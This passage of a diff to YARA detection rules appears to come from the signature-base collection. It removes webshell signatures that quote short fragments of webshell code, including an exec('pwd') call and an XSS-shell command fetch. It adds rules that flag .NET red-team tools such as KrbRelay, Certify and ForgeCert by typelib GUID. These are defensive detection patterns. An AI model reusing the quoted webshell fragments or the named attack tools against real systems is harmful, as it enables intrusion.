 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "\\Mithril "
-		$s4 = "Mithril.exe"
+		$typelibguid0lo = "868a6c76-c903-4a94-96fd-a2c6ba75691c" ascii wide
+		$typelibguid0up = "868A6C76-C903-4A94-96FD-A2C6BA75691C" ascii wide
+		$typelibguid1lo = "caa7ab97-f83b-432c-8f9c-c5f1530f59f7" ascii wide
+		$typelibguid1up = "CAA7AB97-F83B-432C-8F9C-C5F1530F59F7" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Tokenstomp : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file webshell.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8351-L8366"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f2f8c02921f29368234bfb4d4622ad19"
-		logic_hash = "e3fdce426d2f6e88d8e9412a3026ea05d027af934763eafe0188602458c2289d"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "e4266969-ab03-50dc-b5b1-f4bb1c9846f4"
+		date = "2022-11-21"
+		modified = "2023-04-06"
+		reference = "https://github.com/MartinIngesen/TokenStomp"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4997-L5011"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7bc49a8c654a6c6e3f0aa0378e91007c8ebdac90b536fbbfc123b09ff41eaa73"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "RhViRYOzz"
-		$s1 = "d\\O!jWW"
-		$s2 = "bc!jWW"
-		$s3 = "0W[&{l"
-		$s4 = "[INhQ@\\"
+		$typelibguid0lo = "8aac271f-9b0b-4dc3-8aa6-812bb7a57e7b" ascii wide
+		$typelibguid0up = "8AAC271F-9B0B-4DC3-8AA6-812BB7A57E7B" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_FSO_S_EFSO_2
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Krbrelay : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file EFSO_2.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "e88d324c-1dee-5b07-b528-cf760e3ee7a6"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8367-L8379"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a341270f9ebd01320a7490c12cb2e64c"
-		logic_hash = "462c713e5d4fb6d0db91b14bfacdca73f780559ba2dad80988c356ee1a3d369d"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "3f59986c-8bd8-5e70-b3eb-038247d1ccd7"
+		date = "2022-11-21"
+		modified = "2023-04-06"
+		reference = "https://github.com/cube0x0/KrbRelay"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L5013-L5029"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1cab7949f922e286ed68826cc8f0028cabdc10bd328398b6d2517ad467be50b8"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = ";!+/DRknD7+.\\mDrC(V+kcJznndm\\f|nzKuJb'r@!&0KUY@*Jb@#@&Xl\"dKVcJ\\CslU,),@!0KxD~mKV"
-		$s4 = "\\co!VV2CDtSJ'E*#@#@&mKx/DP14lM/nY{JC81N+6LtbL3^hUWa;M/OE-AXX\"b~/fAs!u&9|J\\grKp\"j"
+		$typelibguid0lo = "ed839154-90d8-49db-8cdd-972d1a6b2cfd" ascii wide
+		$typelibguid0up = "ED839154-90D8-49DB-8CDD-972D1A6B2CFD" ascii wide
+		$typelibguid1lo = "3b47eebc-0d33-4e0b-bab5-782d2d3680af" ascii wide
+		$typelibguid1up = "3B47EEBC-0D33-4E0B-BAB5-782D2D3680AF" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Thelast_Index3
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sqlrecon : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file index3.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "41310217-b9a7-5360-80c4-7d0a3969f848"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8380-L8391"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "cceff6dc247aaa25512bad22120a14b4"
-		logic_hash = "3700141ca2cf53f49618e2d4cab8866efccdce843921f1733b3d6260b8feea68"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "f9ea5283-0a5c-5bde-966c-80869ee25888"
+		date = "2023-01-20"
+		modified = "2023-04-06"
+		reference = "https://github.com/skahwah/SQLRecon"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L5031-L5045"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fed5ef9d4702c463fd2f138f5e4cc0a1841fc329a2923afeca83f193bb6213ea"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s5 = "$err = \"<i>Your Name</i> Not Entered!</font></h2>Sorry, \\\"Your Name\\\" field is r"
+		$typelibguid0lo = "612c7c82-d501-417a-b8db-73204fdfda06" ascii wide
+		$typelibguid0up = "612C7C82-D501-417A-B8DB-73204FDFDA06" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Adjustcr
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Certify : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file adjustcr.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "4b3d9409-60e8-502a-b37b-1e06d57c9b0b"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8392-L8406"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "17037fa684ef4c90a25ec5674dac2eb6"
-		logic_hash = "d2a86083ff5cb34a0453f812e2d316c63342e529f00099a8869fa7e0a43321ef"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "69f120fe-bd4d-59ba-b1b9-528ab300e450"
+		date = "2023-03-06"
+		modified = "2023-04-06"
+		reference = "https://github.com/GhostPack/Certify"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L5047-L5062"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "da585a8d4985082873cb86204d546d3f53668e034c61e42d247b11e92b5e8fc3"
+		logic_hash = "bd856a146f441f28d8190d29b3168794cf2b68292869858c763200ae529615da"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "$Info: This file is packed with the UPX executable packer $"
-		$s2 = "$License: NRV for UPX is distributed under special license $"
-		$s6 = "AdjustCR Carr"
-		$s7 = "ION\\System\\FloatingPo"
+		$typelibguid0lo = "64524ca5-e4d0-41b3-acc3-3bdbefd40c97" ascii wide
+		$typelibguid0up = "64524CA5-E4D0-41B3-ACC3-3BDBEFD40C97" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Felikspack3___PHP_Shells_Xishell
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Aladdin : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file xIShell.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "32a32a9a-8d5f-5b3f-8ff4-560555f0ae1e"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8407-L8418"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "997c8437c0621b4b753a546a53a88674"
-		logic_hash = "13393bc72477ab9a4ebc16b409de8ed73e086cc41f25f34315d11401b63c2471"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "3f0a954c-f3b3-5e5d-a71d-11f60b026a48"
+		date = "2023-03-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/nettitude/Aladdin"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L5064-L5082"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ed23700de0e8d6527f64714b8c2e3a43c4a0798d710b67d6602b5d4ae276cbbd"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s3 = "if (!$nix) { $xid = implode(explode(\"\\\\\",$xid),\"\\\\\\\\\");}echo (\"<td><a href='Java"
+		$typelibguid0lo = "b2b3adb0-1669-4b94-86cb-6dd682ddbea3" ascii wide
+		$typelibguid0up = "B2B3ADB0-1669-4B94-86CB-6DD682DDBEA3" ascii wide
+		$typelibguid1lo = "c47e4d64-cc7f-490e-8f09-055e009f33ba" ascii wide
+		$typelibguid1up = "C47E4D64-CC7F-490E-8F09-055E009F33BA" ascii wide
+		$typelibguid2lo = "32a91b0f-30cd-4c75-be79-ccbd6345de99" ascii wide
+		$typelibguid2up = "32A91B0F-30CD-4C75-BE79-CCBD6345DE99" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Hytop_Apppack_2005
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpldaprelayscan : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file 2005.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "67c86d16-a962-5502-8c39-0a6e3dc04031"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8419-L8430"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "63d9fd24fa4d22a41fc5522fc7050f9f"
-		logic_hash = "0de4800291132efca24b40bebcc895d6873110214c8cbf8384317208e0d9db82"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "554a5487-ac53-512f-8f6f-ad8186144715"
+		date = "2023-03-15"
+		modified = "2023-04-06"
+		reference = "https://github.com/klezVirus/SharpLdapRelayScan"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L5084-L5098"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "853b8b7e797a4be85f5218ad2f54dd4a91812e9e53ad061ca3e849326a8f9189"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s6 = "\" onclick=\"this.form.sqlStr.value='e:\\hytop.mdb"
+		$typelibguid0lo = "a93ee706-a71c-4cc1-bf37-f26c27825b68" ascii wide
+		$typelibguid0up = "A93EE706-A71C-4CC1-BF37-F26C27825B68" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Xssshell
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Ldapsigncheck : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file xssshell.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "ef89653c-5814-525a-b04e-4326a80f780c"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8431-L8442"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8fc0ffc5e5fbe85f7706ffc45b3f79b4"
-		logic_hash = "6b0e602b523f58ec61850b4ba2e69da4fe4bf2833fb45e529785a398445db127"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "a8b902f0-61a5-509e-8307-79bf557e5f61"
+		date = "2023-03-15"
+		modified = "2023-04-06"
+		reference = "https://github.com/cube0x0/LdapSignCheck"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L5100-L5114"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c075fabcd39cecc2c5b5d706a1ac305bb75522b9d7f8c8cba11ca2d80da814a0"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "if( !getRequest(COMMANDS_URL + \"?v=\" + VICTIM + \"&r=\" + generateID(), \"pushComma"
+		$typelibguid0lo = "21f398a9-bc35-4bd2-b906-866f21409744" ascii wide
+		$typelibguid0up = "21F398A9-BC35-4BD2-B906-866F21409744" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Felikspack3___PHP_Shells_Usr
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpsccm : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file usr.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "ab1825fe-96aa-5d97-acd6-eac43a12b237"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8443-L8454"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ade3357520325af50c9098dc8a21a024"
-		logic_hash = "f5fd4a4c1b531b23b09505d302dc27d7ba2eb733fcf313c04ba9085b090f7cbe"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "276269b1-e3b3-5774-a86a-1c3a8bca8209"
+		date = "2023-03-15"
+		modified = "2023-04-06"
+		reference = "https://github.com/Mayyhem/SharpSCCM"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L5116-L5132"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ce0d186ceb4212619d76f56b32e06efa78572af0d8abd881432928c1876b968b"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "<?php $id_info = array('notify' => 'off','sub' => 'aasd','s_name' => 'nurullahor"
+		$typelibguid0lo = "03652836-898e-4a9f-b781-b7d86e750f60" ascii wide
+		$typelibguid0up = "03652836-898E-4A9F-B781-B7D86E750F60" ascii wide
+		$typelibguid1lo = "e4d9ef39-0fce-4573-978b-abf8df6aec23" ascii wide
+		$typelibguid1up = "E4D9EF39-0FCE-4573-978B-ABF8DF6AEC23" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_FSO_S_Phpinj
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Koh : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file phpinj.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "5d84d518-0e18-517f-890b-e296ac265c50"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8455-L8466"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "dd39d17e9baca0363cc1c3664e608929"
-		logic_hash = "de4ac200f5426ec4c6fef21d5fbc37281811569a3e71a9bcb6fa51d13eb600a4"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "9702526c-b10d-553d-a803-47e352533858"
+		date = "2023-03-18"
+		modified = "2023-04-06"
+		reference = "https://github.com/GhostPack/Koh"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L5134-L5148"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b9cf1abdf4320a08f9c134e55a8f8531ef965785461b8f49687214810a143929"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s4 = "echo '<a href='.$expurl.'> Click Here to Exploit </a> <br />';"
+		$typelibguid0lo = "4d5350c8-7f8c-47cf-8cde-c752018af17e" ascii wide
+		$typelibguid0up = "4D5350C8-7F8C-47CF-8CDE-C752018AF17E" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Xssshell_Db
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Forgecert : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file db.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "94bb2297-95a2-5442-bb16-fb079a29606e"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8467-L8478"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "cb62e2ec40addd4b9930a9e270f5b318"
-		logic_hash = "3fdbaa17c12abef8576bf859065d90f4b6e80c187af734b71b26a1bd5d073e86"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "06b3ffbb-5a76-50a0-86dc-b9658bf2d7ec"
+		date = "2023-03-18"
+		modified = "2023-04-06"
+		reference = "https://github.com/GhostPack/ForgeCert"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L5150-L5164"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6fecf2a1ce947de3978b4e10b1b02f35913a37551884f16eabd1d1d544d963b6"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s8 = "'// By Ferruh Mavituna | http://ferruh.mavituna.com"
+		$typelibguid0lo = "bd346689-8ee6-40b3-858b-4ed94f08d40a" ascii wide
+		$typelibguid0up = "BD346689-8EE6-40B3-858B-4ED94F08D40A" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_PHP_Sh
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Crassus : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file sh.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "08dff4db-3b1c-5702-a8c9-efaedf83c4ff"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8479-L8490"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1e9e879d49eb0634871e9b36f99fe528"
-		logic_hash = "da0b572f116cc5c55e8d7469f222896d602d09be4761a0e2139fc8ce67ac4050"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "d4f94aa3-0431-5ac1-8718-0f0526c3714f"
+		date = "2023-03-18"
+		modified = "2023-04-06"
+		reference = "https://github.com/vu-ls/Crassus"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L5166-L5180"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "27c2c67aed20f3d1ec2ef0393342e21a41590cc05c0361309054e0dc699d7cc9"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "\"@$SERVER_NAME \".exec(\"pwd\")"
+		$typelibguid0lo = "7e9729aa-4cf2-4d0a-8183-7fb7ce7a5b1a" ascii wide
+		$typelibguid0up = "7E9729AA-4CF2-4D0A-8183-7FB7CE7A5B1A" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Xssshell_Default
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Restrictedadmin : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file default.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "1c221572-4cb5-5806-a856-0f857dba230a"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8491-L8502"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d156782ae5e0b3724de3227b42fcaf2f"
-		logic_hash = "6a8772a8a6399c3266abcc22a3c55eda70ec9703346398f5f1768bbd35974f8c"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "1b3572a5-bb21-58bb-91f9-963a0a17d699"
+		date = "2023-03-18"
+		modified = "2023-04-06"
+		reference = "https://github.com/GhostPack/RestrictedAdmin"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L5182-L5196"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fc8fe9df771fb794a2ea44d68741003451747a7eb10156a9ed486f87a2d42c6d"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s3 = "If ProxyData <> \"\" Then ProxyData = Replace(ProxyData, DATA_SEPERATOR, \"<br />\")"
+		$typelibguid0lo = "79f11fc0-abff-4e1f-b07c-5d65653d8952" ascii wide
+		$typelibguid0up = "79F11FC0-ABFF-4E1F-B07C-5D65653D8952" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Editserver_2
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_P2P : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file EditServer.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "bd254bd9-fd23-5807-9347-2a559089b7c5"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8503-L8516"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5c1f25a4d206c83cdfb006b3eb4c09ba"
-		logic_hash = "c581936928ce0f1061feb5665c743f14f12a9f875e360f40cc064f3047b23adf"
+		description = "Detects .NET red/black-team tools via typelibguid (p2p Remote Desktop is dual use but 100% flagged as malicious on VT)"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "e7b2b4bd-f1e1-5062-9b36-5df44ae374ea"
+		date = "2023-03-19"
+		modified = "2023-04-06"
+		reference = "https://github.com/miroslavpejic85/p2p"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L5198-L5212"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fcdeb2f481232ba0d13642b3003a94435c4de4e90c342c0db7707a6751a66834"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "@HOTMAIL.COM"
-		$s1 = "Press Any Ke"
-		$s3 = "glish MenuZ"
+		$typelibguid0lo = "33456e72-f8e8-4384-88c4-700867df12e2" ascii wide
+		$typelibguid0up = "33456E72-F8E8-4384-88C4-700867DF12E2" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_By064Cli
+import "pe"
+
